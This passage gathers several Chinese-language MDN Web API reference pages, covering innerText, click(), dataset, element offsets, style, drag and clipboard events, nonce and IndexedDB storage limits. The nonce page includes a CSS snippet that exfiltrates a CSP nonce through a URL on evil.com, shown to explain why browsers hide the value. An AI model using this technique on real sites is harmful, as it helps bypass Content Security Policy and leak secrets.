const innerTextOutput = document.getElementById("innerTextOutput");

textContentOutput.value = source.textContent;
innerTextOutput.value = source.innerText;
```

### 结果

规范
--

| Specification |
| --- |
| HTML Standard # the-innertext-idl-attribute |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参见
--

* `HTMLElement.outerText`
* `Element.innerHTML`


HTMLElement.click() - Web API 接口参考

HTMLElement.click()
===================

**`HTMLElement.click()`** 方法可以用来模拟鼠标左键单击一个元素。

 当在支持 `click()` 方法的元素上使用该方法（例如
 `<input>`) ，将会产生该元素的一个点击事件。这个事件会冒泡上升到文档树（或事件链）中更高的元素，并触发它们的点击事件。

语法
--

```js
click()
```

示例
--

当鼠标移动过复选框时模拟一个点击事件：

### HTML

```html
<form>
  <input
 type="checkbox"
 id="myCheck"
 onmouseover="myFunction()"
 onclick="alert('click event occurred')" />
</form>
```

### JavaScript

```js
// 当鼠标滑过（mouse-over）执行 myFunction
function myFunction() {
  document.getElementById("myCheck").click();
}
```

规范
--

| Specification |
| --- |
| HTML Standard # dom-click-dev |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参见
--

* 有关的事件处理
    + `GlobalEventHandlers.onclick`
    + `GlobalEventHandlers.ondblclick`
    + `GlobalEventHandlers.onauxclick`


HTMLElement.dataset - Web API 接口参考

HTMLElement.dataset
===================

`HTMLElement` 接口的只读属性 **`dataset`** 提供了对元素上自定义数据属性（`data-*`）读/写访问。它暴露了一个字符串映射（`DOMStringMap`），其中包含每个 `data-*` 属性条目。

**备注：** `dataset` 属性本身可以被读取，但是不能直接写入。相反，所有写入都必须是写入 `dataset` 的单个属性，而 dataset 又表示这些数据的属性。

一个 HTML 的 `data-*` 属性和它相关的 DOM `dataset.property` 根据它们的读取或者写入的位置修改其共享的名称：

在 HTML

属性名以 `data-` 开头。它只能包含字母、数字、破折号（`-`）、句号（`.`）、冒号（`:`）和下划线（`_`）。任意的 ASCII 大写字母（`A` 到 `Z`）都会转换为小写。

在 JavaScript

自定义 data 属性的属性名与没有 `data-` 前缀的 HTML 属性相同，并且在移除单个破折号（`-`）后，大写之后的字母以获得属性的“驼峰”命名。

除了以下属性，你还可以在我们的文章*使用 data 属性*中找到使用 HTML 数据属性的操作指南。

### 名称转换

从 `dash-style` 转换到 `camelCase`

一个自定义的 data 属性名转换为 `DOMStringMap` 条目的键，如下：

1. 小写所有 ASCII 大写字母（`A` 到 `Z`）；
2. 移除前缀 `data-`（包括破折号）；
3. 对于任何破折号（`U+002D`）后面跟随的 ASCII 小写字母 `a` 到 `z`，移除破折号并且大写字母；
4. 其他字符（包括其他破折号）保持不变。

从 `camelCase` 到 `dash-style` 转变

与以上内容转换相反，将该键映射到一个属性名，使用以下方式：

1. **限制**：在转换之前，破折号*不得*立即后跟 ASCII 小写字母 `a` 到 `z`；
2. 增加 `data-` 前缀；
3. 在任何 ASCII 大写字母 `A` 到 `Z` 之前增加一个破折号，然后小写该字母。
4. 其他字母不做改变。

例如，一个 `data-abc-def` 属性对应于 `dataset.abcDef`。

### 获取值

* 属性可以驼峰名/键的方式作为 dataset 的对象属性设置和读取：`element.dataset.keyname`。
* 属性也可以使用方括号语法设置和读取：`element.dataset['keyname']`。
* 使用 `in` 操作符 可以检查一个给定的属性是否存在：`'keyname' in element.dataset`。
### 设置值

* 设置属性时，它的值总是转化为一个字符串。例如：`element.dataset.example = null` 被转化为 `data-example="null"`。
* 为了移除一个属性，你可以使用 `delete` 操作符：`delete element.dataset.keyname`。
值
-

一个 `DOMStringMap`。

示例
--

```html
<div id="user" data-id="1234567890" data-user="johndoe" data-date-of-birth>
  John Doe
</div>
```

```js
const el = document.querySelector("#user");

// el.id === 'user'
// el.dataset.id === '1234567890'
// el.dataset.user === 'johndoe'
// el.dataset.dateOfBirth === ''

// set a data attribute
el.dataset.dateOfBirth = "1960-10-03";
// Result on JS: el.dataset.dateOfBirth === '1960-10-03'
// Result on HTML: <div id="user" data-id="1234567890" data-user="johndoe" data-date-of-birth="1960-10-03">John Doe</div>

delete el.dataset.dateOfBirth;
// Result on JS: el.dataset.dateOfBirth === undefined
// Result on HTML: <div id="user" data-id="1234567890" data-user="johndoe">John Doe</div>

if (!("someDataAttr" in el.dataset)) {
  el.dataset.someDataAttr = "mydata";
  // Result on JS: 'someDataAttr' in el.dataset === true
  // Result on HTML: <div id="user" data-id="1234567890" data-user="johndoe" data-some-data-attr="mydata">John Doe</div>
}
```

规范
--

| Specification |
| --- |
| HTML Standard # dom-dataset-dev |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参见
--

* 全局属性的 HTML `data-*` 类。
* 使用 data 属性
* `Element.getAttribute()` 和 `Element.setAttribute()`


HTMLElement.offsetWidth - Web API 接口参考

HTMLElement.offsetWidth
=======================

**`HTMLElement.offsetWidth`** 是一个只读属性，返回一个元素的布局宽度。一个典型的（译者注：各浏览器的 offsetWidth 可能有所不同）offsetWidth 是测量包含元素的边框 (border)、水平线上的内边距 (padding)、竖直方向滚动条 (scrollbar)（如果存在的话）、以及 CSS 设置的宽度 (width) 的值。

语法
--
```

var offsetWidth =element.offsetWidth;
```

`intElemOffsetWidth` is a variable storing an integer corresponding to the `offsetWidth` pixel value of the element. `offsetWidth` 是一个只读属性。

**备注：** 这个属性将会 round(四舍五入) 为一个整数。如果你想要一个 fractional(小数) 值，请使用`element.getBoundingClientRect()`.

示例
--

![Image:Dimensions-offset.png](/zh-CN/docs/Web/API/HTMLElement/offsetWidth/dimensions-offset.png)

规范
--

| Specification |
| --- |
| CSSOM View Module # dom-htmlelement-offsetwidth |

### 备注

`offsetWidth` 是一个 DHTML 对象模型中的属性，由微软 IE 浏览器首次引入。有时候它也可以称为一个元素的物理或图形尺寸，或者 border-box（译者注：即 CSS3 中的 border-box 模型）的宽度。

参见
--

* `Element.clientWidth`
* `Element.scrollWidth`
* Determining the dimensions of elements (en-US)


HTMLElement：style 属性 - Web API 接口参考

HTMLElement：style 属性
====================

只读属性 **`style`** 以 `CSSStyleDeclaration` 实时对象（Live Object）的形式返回元素的*内联*样式，该对象包含该元素的所有样式属性列表，只为元素的内联 `style` 属性中定义的属性分配值。

简写属性会展开。如果设置了 `style="border-top: 1px solid black"`，会设置完整属性（`border-top-color`、`border-top-style` 和 `border-top-width`）。

该属性是只读的，意味着不可以将 `CSSStyleDeclaration` 对象赋值给它。然而，可以通过直接给 `style` 属性分配一个*字符串*来设置内联样式。在这种情况下，这个字符串被转发到 `CSSStyleDeclaration.cssText` (en-US)。以这种方式使用 `style` 将完全覆盖该元素的所有内联样式。

因此，要在不改变其他样式值的情况下为一个元素添加特定的样式，通常最好是在 `CSSStyleDeclaration` 对象上设置个别属性。例如，你可以写成 `element.style.backgroundColor = "red"`。

样式声明可通过设置它为 `null` 或空字符串来重置，比如 `elt.style.color = null`。

**备注：** 通过这些规则，CSS 属性名称被转换为 JavaScript 标识符：

* 如果属性是由一个单词组成的，则保持原样：如 `height`（也保持小写）。
* 如果属性是由若干个单词组成的，由横线分隔，则横线被移除，并转化为*驼峰*形式：如 `background-attachment` 转换为 `backgroundAttachment`。
* 作为 JavaScript 保留关键字的 `float` 属性被转化为 `cssFloat`。

通过 `style` 属性设置的样式优先级与内联样式声明相同。

值
-

一个实时的 `CSSStyleDeclaration` 对象。

示例
--

### 获取样式信息

以下代码片段演示了从元素的 `style` 属性获得的值如何与 HTML 属性上设置的样式相关。

```html
<!doctype html>
<html lang="zh-CN">
  <body style="font-weight:bold">
    <div style="border-top: 1px solid blue; color:red" id="elt">
      一个简单的 div
    </div>
    <pre id="out"></pre>
  </body>
</html>
```

```js
const element = document.getElementById("elt");
const out = document.getElementById("out");
const elementStyle = element.style;

// 我们迭代所有的样式（for…of 对 CSStyleDeclaration 无效）
for (const prop in elementStyle) {
  if (Object.hasOwn(elementStyle, prop)) {
    out.textContent += `${
 elementStyle[prop]
 } = '${elementStyle.getPropertyValue(elementStyle[prop])}'\n`;
  }
}
```

注意，`font-weight` 没有被列为 `elementStyle` 的一个值，因为它没有被定义在元素本身的 `style` 属性中。相反，它是从其父级元素的定义中继承的。还要注意的是，在 `style` 属性中定义的简写属性 `border-top`，没有直接列出。相反，它被三个相应的完整属性（`border-top-color`、`border-top-style` 和 `border-top-width`）取代。

规范
--

| Specification |
| --- |
| CSS Object Model (CSSOM) # dom-elementcssinlinestyle-style |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参见
--

* 使用动态样式信息
* `SVGElement.style` (en-US)


HTMLElement.lang - Web API 接口参考

HTMLElement.lang
================

**`HTMLElement.lang`** 属性用来获取或设置元素属性值或文本内容的基语言（base language）。

该属性返回的语言代码（language code）被定义在 RFC 1766。通常，"en" 表示英语（English）、"ja" 表示（Japanese）、"zh-cn" 表示简体中文等等。该属性的默认值未知（`unknown`）。尽管该属性可以应用在单独的元素上，但是通常在文档的根元素（html）上指定。

该属性只对 `lang` 属性（attribute）有效，不适用于 `xml:lang`。

语法
--
```

var languageUsed = elementNodeReference.lang; // 获取 lang 值
elementNodeReference.lang = NewLanguage; // 为 lang 设置新值
```

`languageUsed` 是一个字符串变量，可以获取当前元素的文本是用什么语言写的。`NewLanguage` 是一个字符串变量，其值用来作为当前元素的文本的语言。

示例
--

```js
// 该代码比较了基语言（base language），然后
// 重定向到了基于该语言的 url
if (document.documentElement.lang === "en") {
  window.location.href = "Some\_document.html.en";
} else if (document.documentElement.lang === "ru") {
  window.location.href = "Some\_document.html.ru";
}
```

规范
--

| Specification |
| --- |
| HTML Standard # dom-lang |


HTMLElement：dragover 事件 - Web API 接口参考

HTMLElement：dragover 事件
=======================

`dragover` 事件在可拖动的元素或者被选择的文本被拖进一个有效的放置目标时（每几百毫秒）触发。

该事件在放置目标上触发。

语法
--

在 `addEventListener()` 等方法中使用事件名称，或者设置事件处理器属性。

```js
addEventListener("dragover", (event) => {});

ondragover = (event) => {};
```

事件类型
----

一个 `DragEvent`。继承自 `Event`。

Event

UIEvent

MouseEvent

DragEvent事件属性
----

*除了以下的属性，来自父接口 `Event` 的属性也是可用的。*

`DragEvent.dataTransfer` 只读

在拖放交互期间转移的数据。

示例
--

### 一个小巧的拖放示例

在该示例中，我们在容器中有一个可拖动的元素。尝试抓住元素，拖动它进入另一个容器，然后释放它。

在这里，我们有三个事件处理程序：

* 在 `dragstart` 事件处理程序中，我们得到了用户拖动元素的引用。
* 在目标容器的 `dragover` 事件处理程序中，我们调用 `event.preventDefault()`，这使它能够接收 `drop` 事件。
* 在放置区域的 `drop` 事件处理程序中，我们将可拖动的元素从原始区域移动到可放置区域。

关于更完整的拖放示例，请参见 `drag` 事件。

#### HTML

```html
<div class="dropzone">
  <div id="draggable" draggable="true">This div is draggable</div>
</div>
<div class="dropzone" id="droptarget"></div>
```

#### CSS

```css
body {
  /\* Prevent the user selecting text in the example \*/
  user-select: none;
}

#draggable {
  text-align: center;
  background: white;
}

.dropzone {
  width: 200px;
  height: 20px;
  background: blueviolet;
  margin: 10px;
  padding: 10px;
}
```

#### JavaScript

```js
let dragged = null;

const source = document.getElementById("draggable");
source.addEventListener("dragstart", (event) => {
  // store a ref. on the dragged elem
  dragged = event.target;
});

const target = document.getElementById("droptarget");
target.addEventListener("dragover", (event) => {
  // prevent default to allow drop
  event.preventDefault();
});

target.addEventListener("drop", (event) => {
  // prevent default action (open as link for some elements)
  event.preventDefault();
  // move dragged element to the selected drop target
  if (event.target.className === "dropzone") {
    dragged.parentNode.removeChild(dragged);
    event.target.appendChild(dragged);
  }
});
```

#### 结果

规范
--

| Specification |
| --- |
| HTML Standard # ix-handler-ondragover |
| HTML Standard # event-dnd-dragover |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参见
--

* 其他拖放事件：
    + `drag`
    + `dragstart`
    + `dragend`
    + `dragenter`
    + `dragleave`
    + `drop`
* 其他目标中的该事件：
    + `Window`：`dragover` 事件
    + `Document`：`dragover` 事件
    + `SVGElement`：`dragover` 事件


HTMLElement：cut 事件 - Web API 接口参考

HTMLElement：cut 事件
==================

**`cut`** 事件在用户通过浏览器的用户界面开始剪切操作时触发。

语法
--

在类似 `addEventListener()` 这样的方法中使用事件名称，或设置事件处理器属性。

```js
addEventListener("cut", (event) => {});

oncut = (event) => {};
```

事件类型
----

`ClipboardEvent`。继承自 `Event`。

Event

ClipboardEvent事件属性
----

*也从其父接口 `Event` 继承属性。*

`ClipboardEvent.clipboardData` 只读

一个 `DataTransfer` 对象，其包含用户发起的 `cut`、`copy` 或 `paste` 操作所影响的数据，以及它的 MIME 类型。

示例
--

此示例允许从 `<textarea>` 复制文本，但不允许剪切文本。它还记录每次复制和剪切的尝试。

### HTML

```html
<h3>试一下这个文本区域：</h3>
<textarea id="editor" rows="3">
尝试复制和剪切该字段中的文本！
</textarea>

<h3>日志：</h3>
<p id="log"></p>
```

### JavaScript

```js
function logCopy(event) {
  log.innerText = `已复制！\n${log.innerText}`;
}

function preventCut(event) {
  event.preventDefault();
  log.innerText = `已阻止剪切！\n${log.innerText}`;
}

const editor = document.getElementById("editor");
const log = document.getElementById("log");

editor.oncopy = logCopy;
editor.oncut = preventCut;
```

### 结果

规范
--

| Specification |
| --- |
| Clipboard API and events # clipboard-event-cut |
| HTML Standard # handler-oncut |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参见
--

* 相关事件
    + `HTMLElement.copy_event`
    + `HTMLElement.paste_event`


HTMLElement.offsetLeft - Web API 接口参考

HTMLElement.offsetLeft
======================

**`HTMLElement.offsetLeft`** 是一个只读属性，返回当前元素*左上角*相对于 `HTMLElement.offsetParent` 节点的左边界偏移的像素值。

对块级元素来说，`offsetTop`、`offsetLeft`、`offsetWidth` 及 `offsetHeight` 描述了元素相对于 `offsetParent` 的边界框。

然而，对于可被截断到下一行的行内元素（如 **span**），`offsetTop` 和 `offsetLeft` 描述的是*第一个*边界框的位置（使用 `Element.getClientRects()` 来获取其宽度和高度），而 `offsetWidth` 和 `offsetHeight` 描述的是边界框的尺寸（使用 `Element.getBoundingClientRect` 来获取其位置）。因此，使用 `offsetLeft、offsetTop、offsetWidth`、`offsetHeight` 来对应 left、top、width 和 height 的一个盒子将不会是文本容器 span 的盒子边界。

语法
--
```

left = element.offsetLeft;
```

`left` 是一个整数，表示向左偏移的像素值。

示例
--
```

var colorTable = document.getElementById("t1");
var tOLeft = colorTable.offsetLeft;

if (tOLeft > 5) {
  // large left offset: do something here
}
```

这个例子展示了蓝色边框的 div 包含一个长的句子，红色的盒子是一个可以表示包含这个长句子的 span 标签的边界。

![Image:offsetLeft.jpg](/zh-CN/docs/Web/API/HTMLElement/offsetLeft/offsetleft.jpg)
```

<div style="width: 300px; border-color:blue;
  border-style:solid; border-width:1;">
  <span>Short span. </span>
  <span id="long">Long span that wraps withing this div.</span>
</div>

<div id="box" style="position: absolute; border-color: red;
  border-width: 1; border-style: solid; z-index: 10">
</div>

<script>
  var box = document.getElementById("box");
  var long = document.getElementById("long");
  //
  // long.offsetLeft 这个值就是 span 的 offsetLeft.
  // long.offsetParent 返回的是 body（在 chrome 浏览器中测试）
  // 如果 id 为 long 的 span 元素的父元素 div，设置了 position 属性值，只要不为 static，那么 long.offsetParent 就是 div

  box.style.left = long.offsetLeft + document.body.scrollLeft + "px";
  box.style.top = long.offsetTop + document.body.scrollTop + "px";
  box.style.width = long.offsetWidth + "px";
  box.style.height = long.offsetHeight + "px";
</script>
```

规范
--

| Specification |
| --- |
| CSSOM View Module # dom-htmlelement-offsetleft |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参见
--

* `HTMLElement.offsetParent`、`HTMLElement.offsetTop`、`HTMLElement.offsetWidth`、`HTMLElement.offsetHeight`


error - Web API 接口参考

error
=====

当一个资源加载失败或无法使用时，会在`Element`对象上触发`error`事件。例如当脚本执行错误、或图片无法找到或图片无效时。

|  |  |
| --- | --- |
| Bubbles（支持冒泡） | No |
| Cancelable（可撤销） | No |
| Interface（接口） | `Event` 或`UIEvent` |
| Event handler property（事件处理程序属性） | `onerror` |

如果事件对象是从用户界面元素生成的，则它是一个`UIEvent`实例;反之，它是一个`Event`实例。

示例
--

### 在线示例

#### HTML

```html
<div class="controls">
  <button id="img-error" type="button">生成图像 error</button>
  <img class="bad-img" />
</div>

<div class="event-log">
  <label>Event log:</label>
  <textarea readonly class="event-log-contents" rows="8" cols="30"></textarea>
</div>
```

```
body {
  display: grid;
  grid-template-areas: "control log";
}

.controls {
  grid-area: control;
  display: flex;
  align-items: center;
  justify-content: center;
}

.event-log {
  grid-area: log;
}

.event-log-contents {
  resize: none;
}

label,
button {
  display: block;
}

button {
  height: 2rem;
  margin: 0.5rem;
}

img {
  width: 0;
  height: 0;
}
```

#### JS

```js
const log = document.querySelector(".event-log-contents");

const badImg = document.querySelector(".bad-img");
badImg.addEventListener("error", (event) => {
  log.textContent = log.textContent + `${event.type}: Loading image\n`;
  console.log(event);
});

const imgError = document.querySelector("#img-error");
imgError.addEventListener("click", () => {
  badImg.setAttribute("src", "i-dont-exist");
});
```

#### 结果

规范
--

| Specification |
| --- |
| UI Events # event-type-error |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参阅
--

* This event on `Window` targets: `error` event


HTMLElement：paste 事件 - Web API 接口参考

HTMLElement：paste 事件
====================

**`paste`** 事件在用户通过浏览器的用户界面开始粘帖操作时触发。

语法
--

在类似 `addEventListener()` 这样的方法中使用事件名称，或设置事件处理器属性。

```js
addEventListener("paste", (event) => {});

onpaste = (event) => {};
```

事件类型
----

`ClipboardEvent`。继承自 `Event`。

Event

ClipboardEvent事件属性
----

*也从其父接口 `Event` 继承属性。*

`ClipboardEvent.clipboardData` 只读

一个 `DataTransfer` 对象，其包含用户发起的 `cut`、`copy` 或 `paste` 操作所影响的数据，以及它的 MIME 类型。

示例
--

此示例记录每一次对 `<textarea>` 的复制和粘贴的尝试。

### HTML

```html
<h3>试一下这个文本区域：</h3>
<textarea id="editor" rows="3">
尝试将文本复制并粘贴到该字段中！
</textarea>

<h3>日志：</h3>
<p id="log"></p>
```

### JavaScript

```js
function logCopy(event) {
  log.innerText = `已复制！\n${log.innerText}`;
}

function logPaste(event) {
  log.innerText = `已粘贴！\n${log.innerText}`;
}

const editor = document.getElementById("editor");
const log = document.getElementById("log");

editor.oncopy = logCopy;
editor.onpaste = logPaste;
```

### 结果

规范
--

| Specification |
| --- |
| Clipboard API and events # clipboard-event-paste |
| HTML Standard # handler-onpaste |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参见
--

* 相关事件
    + `HTMLElement.copy_event`
    + `HTMLElement.cut_event`


HTMLElement.nonce - Web API 接口参考

HTMLElement.nonce
=================

`HTMLElement` 接口的 **`nonce`** 属性返回只使用一次的加密数字，被内容安全政策用来决定这次请求是否被允许处理。

在接下来的实现中，有 nonce 属性的元素只能在脚本中使用（不可以在其他渠道使用，比如 css 属性选择器）。

示例
--

### 访问 nonce 属性值

以前，并不是所有的浏览器都支持 `nonce` IDL 属性，因此在实际应用场景中，尝试使用 `getAttribute` 作为备选：

```js
let nonce = script["nonce"] || script.getAttribute("nonce");
```

然而，最新的浏览器版本都隐藏了 `nonce` 值（返回一个空值）。IDL 属性（`script['nonce']`）成为唯一的访问方式。

隐藏 Nonce 是为了阻止攻击者通过某种机制提取出 nonce 值，比如下面这种方式：

```css
script[nonce~="whatever"] {
  background: url("https://evil.com/nonce?whatever");
}
```

规范
--

| Specification |
| --- |
| HTML Standard # dom-noncedelement-nonce |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


HTMLElement：dragleave 事件 - Web API 接口参考

HTMLElement：dragleave 事件
========================

`dragleave` 事件在拖动的元素或选中的文本离开一个有效的放置目标时被触发。

此事件不可取消。

语法
--

在类似 `addEventListener()` 这样的方法中使用事件名称，或设置事件处理器属性。

```js
addEventListener("dragleave", (event) => {});

ondragleave = (event) => {};
```

事件类型
----

一个 `DragEvent`。继承自 `Event`。

Event

UIEvent

MouseEvent

DragEvent事件属性
----

*除了下面列出的属性外，还可以使用父接口 `Event` 的属性。*

`DragEvent.dataTransfer` 只读

在进行拖放操作时，传输的数据。

示例
--

### 在 dragleave 时重置拖放区域的样式

在此示例中，我们在容器内有一个可拖动元素。尝试抓住这个元素，将其拖到另一个容器中，然后释放它。

在可拖动元素被拖到另一个容器上方时，我们将容器的背景设置为紫色，以表示这个可拖动元素可以被放置到该容器中。我们会监听 `dragleave` 事件，以在可拖动元素离开容器时重置容器的背景。

请注意，我们没有在这个示例中实现元素的放置：完整的拖放示例，请参见 `drag` 事件。

#### HTML

```html
<div class="dropzone">
  <div id="draggable" draggable="true">这个 div 可以拖动</div>
</div>
<div class="dropzone" id="droptarget"></div>
```

#### CSS

```css
body {
  /\* Prevent the user selecting text in the example \*/
  user-select: none;
}

#draggable {
  text-align: center;
  background: white;
}

.dropzone {
  width: 200px;
  height: 20px;
  background: blueviolet;
  margin: 10px;
  padding: 10px;
}

.dropzone.dragover {
  background-color: purple;
}
```

#### JavaScript

```js
const target = document.getElementById("droptarget");
target.addEventListener("dragenter", (event) => {
  // highlight potential drop target when the draggable element enters it
  if (event.target.classList.contains("dropzone")) {
    event.target.classList.add("dragover");
  }
});

target.addEventListener("dragleave", (event) => {
  // reset background of potential drop target when the draggable element leaves it
  if (event.target.classList.contains("dropzone")) {
    event.target.classList.remove("dragover");
  }
});
```

#### 结果

规范
--

| Specification |
| --- |
| HTML Standard # ix-handler-ondragleave |
| HTML Standard # event-dnd-dragleave |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参见
--

* 其他拖放事件：
    + `drag`
    + `dragstart`
    + `dragend`
    + `dragover`
    + `dragenter`
    + `drop`
* 其他目标上的此事件：
    + `Window`：`dragleave` 事件
    + `Document`：`dragleave` 事件
    + `SVGElement`：`dragleave` 事件


SubmitEvent.submitter - Web API 接口参考

SubmitEvent.submitter
=====================

在 `SubmitEvent` (en-US) 接口的只读属性 **`submitter`** 用于指定提交按钮或者被用来提交表单的其他元素。

值
-

一个元素，表示发送 `submit` 事件的表单元素。通常是 `type` 属性是 `submit` 的 `<input>` 元素或者 `type` 属性是 `submit` 的 `<button>` 元素，但它也可能是启动提交过程的其他元素。

如果提交不是由某些按钮触发的。则 `submitter` 的值是 `null`。

示例
--

完整示例代码参见 `SubmitEvent` (en-US)。

规范
--

| Specification |
| --- |
| HTML Standard # the-submitevent-interface:dom-submitevent-submitter-2 |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


WorkerNavigator：locks 属性 - Web API 接口参考

WorkerNavigator：locks 属性
========================

**安全上下文:** 此项功能仅在一些支持的浏览器的安全上下文（HTTPS）中可用。

`WorkerNavigator` (en-US) 接口的 **`locks`** 只读属性返回一个 `LockManager` 对象，该对象提供了请求新的 `Lock` 对象和查询现有的 `Lock` 对象的方法。

值
-

一个 `LockManager` 对象。

规范
--

| Specification |
| --- |
| Web Locks API # dom-navigatorlocks-locks |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


WorkerNavigator.gpu - Web API 接口参考

WorkerNavigator.gpu
===================

**实验性:** **这是一项实验性技术**
在将其用于生产之前，请仔细检查浏览器兼容性表格。

`WorkerNavigator` (en-US) 接口的 **`gpu`** 只读属性为当前浏览上下文返回 `GPU` 对象，该对象是 WebGPU API 的入口点。

值
-

一个 `GPU` 对象。

示例
--

```js
// 在 web worker 中可以运行
async function init() {
  if (!navigator.gpu) {
    throw Error("WebGPU not supported.");
  }

  const adapter = await navigator.gpu.requestAdapter();
  if (!adapter) {
    throw Error("Couldn't request WebGPU adapter.");
  }

  const device = await adapter.requestDevice();

  //...
}
```

规范
--

| Specification |
| --- |
| WebGPU # navigator-gpu |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参见
--

* WebGPU API


IndexedDB 浏览器存储限制和清理标准 - Web API 接口参考

IndexedDB 浏览器存储限制和清理标准
======================

有许多 Web 技术可以在客户端（即本地磁盘上）存储这种或那种数据。浏览器计算分配给 Web 数据存储的空间大小以及达到该限制时要删除的内容的过程并不简单，并且浏览器之间有所不同。本文介绍了浏览器如何确定要清除的本地内容以及何时释放所需的本地存储空间。

**备注：** 对于大多数现代浏览器，以下信息应该相当准确，但在已知的情况下会调出特定于浏览器的信息。Opera 和 Chrome 在所有情况下都应该表现相同。Opera Mini（仍然是基于 presto 的，服务器端呈现）不会在客户端上存储任何数据。

什么技术使用浏览器数据存储？
--------------

在 Firefox 中，以下技术利用浏览器数据存储在需要时存储数据。在这种情况下，我们将它们称为“配额客户”：

* IndexedDB
* asm.js缓存
* 缓存 API
* Cookies

**备注：** 在 Firefox 中，Web Storage也将很快开始使用相同的存储管理工具，如本文档中所述。

**备注：** 在隐私浏览模式下，大多数数据存储不被支持。本地存储数据和 cookie 仍然可用，但它们是短暂的——当关闭最后一个隐私浏览窗口时，数据将被删除。

源的“最后访问时间”会更新，当其中任何一个被激活/停用时——所有这些源下的配额客户端的数据会被回收。

在 Chrome/Opera 中，Quota Management API 处理 AppCache、IndexedDB、WebSQL 和 File System API 的配额管理。

数据存储的不同类型
---------

即使在相同的浏览器、使用相同的存储方法，仍然存在不同的数据存储方法需要我们搞清楚。这部分我们讨论那些在不同浏览器之间的不同之处。

一般来说，数据存储的的类型主要有以下两种：

* 持久化存储：这种数据是希望长久保留的，只有的当用户选择清除才会被删除掉（比如，在 Firefox 中，你可以通过转到“*首选项*”并使用“*隐私和安全*”>“*Cookie 和站点数据*”下的选项，选择删除所有存储的数据或仅删除所选来源的存储数据）。
* 临时存储：这种数据不用保存很久，当最近一次使用时储存限制达到限制大小就会被自动清理掉（LRU 策略）。

在 Firefox 中，当使用持久存储时，会向用户提供一个 UI 弹出窗口，提醒他们这些数据将持续存在，并询问他们是否对此感到满意。临时数据存储不会引发任何用户提示。

默认的是临时存储；开发人员可以选择使用 `StorageManager.persist()` 方法使用持久储存。

数据存储在哪里？
--------

每种存储类型代表一个单独的存储库。这是用户 Firefox 配置文件下目录的实际映射（其他浏览器可能略有不同）：

* `<profile>/storage`——配额管理器维护的主要顶级目录（见下文）
* `<profile>/storage/permanent`——持久数据存储库
* `<profile>/storage/temporary`——临时数据存储库
* `<profile>/storage/default`——默认数据存储库

**备注：** 引入Storage API后，“permanent”文件夹可以被认为是过时的；“permanent”文件夹仅存储 IndexedDB 持久性数据库。模式是“best-effort”还是“persistent”并不重要——数据存储在<profile>/storage/default 下。

**备注：** 在 Firefox 中，可以通过`about:support`在 URL 栏中输入，然后按“ *配置文件夹”*标题旁边的*“在...中显示...”*按钮（例如，在 Mac OS X 上的*“在 Finder 中显示”）来查找*你的*配置文件文件夹*。

**备注：** 如果你在存储的数据中查看配置文件，你可能会看到第四个文件夹：`persistent`。基本上，该`persistent`文件夹刚刚重命名为`permanent`以保持升级/迁移更简单。

**注意**：用户不应在其下添加自己的目录或文件到`<profile>/storage`下。这将导致存储初始化失败；例如，`open()`会触发错误事件。

### 数据储存限制

浏览器的最大存储空间是动态的——它取决于你的硬盘大小。**全局限制**为可用磁盘空间的 50％。在 Firefox 中，一个名为 Quota Manager 的内部浏览器工具会跟踪每个源用尽的磁盘空间，并在必要时删除数据。

因此，如果你的硬盘驱动器是 500GB，那么浏览器的总存储容量为 250GB。如果超过此范围，则会发起称为**源回收**的过程，删除整个源的数据，直到存储量再次低于限制。删除源数据没有只删一部分的说法——因为这样可能会导致不一致的问题。

还有另一个限制称为**组限制**——这被定义为全局限制的 20％，但它至少有 10 MB，最大为 2GB。每个源都是一组（源组）的一部分。每个 eTLD+1 域都有一个组。例如：

* `mozilla.org`——组 1，源 1
* `www.mozilla.org`——组 1，源 2
* `joe.blogs.mozilla.org`——组 1，源 3
* `firefox.com`——组 2，源 4

在这个组中，`mozilla.org`、`www.mozilla.org`和`joe.blogs.mozilla.org`可以聚合使用最多 20％的全局限制。firefox.com 单独最多使用 20％。

达到限制后有两种不同的反应：

* 组限制也称为“硬限制”：它不会触发源回收。
* 全局限制是一个“软限制”，因为其有可能释放一些空间并且这个操作可能持续。

**备注：** 尽管上面提到了最小组限制，但组限制不能超过全局限制。如果你的内存非常低，全局限制为 8 MB，则组限制也将为 8 MB。

**备注：** 如果超出组限制，或者如果原因驱逐无法释放足够的空间，浏览器将抛出`QuotaExceededError`错误。

**备注：** 在 Chrome 中，自 M66 以来，软硬存储配额限制已发生变化。更多信息可以在这里找到。

LRU 策略
------

当可用磁盘空间已满时，配额管理器将根据 LRU 策略开始清除数据——最近最少使用的源将首先被删除，然后是下一个，直到浏览器不再超过限制。

我们使用临时存储跟踪每个源的“上次访问时间”。一旦达到临时存储的全局限制（之后会有更多限制），我们将尝试查找所有当前未使用的源（即没有打开选项卡/应用程序的那些来保持打开的数据存储）。然后根据“上次访问时间”对它们进行排序。然后删除最近最少使用的源，直到有足够的空间来满足触发此源回收的请求。

参见
--

* 在移动浏览器上使用配额（Eiji Kitamura著）：详细分析了移动浏览器上的客户端存储。
* 配额管理 API：快速实践 （Eiji Kitamura著）：查看 Chrome / Blink 中的配额管理 API（也应包括 Opera）。


FileReader: load event - Web API 接口参考

FileReader: load event
======================

当文件成功读取时，执行`load` 事件

|  |  |
| --- | --- |
| 是否冒泡 | No |
| 是否能中断退出 | No |
| 调用接口 | `ProgressEvent` |
| 事件处理属性 | `FileReader.onload` |

例子
--

### Live example

#### HTML

```html
<div class="example">
  <div class="file-select">
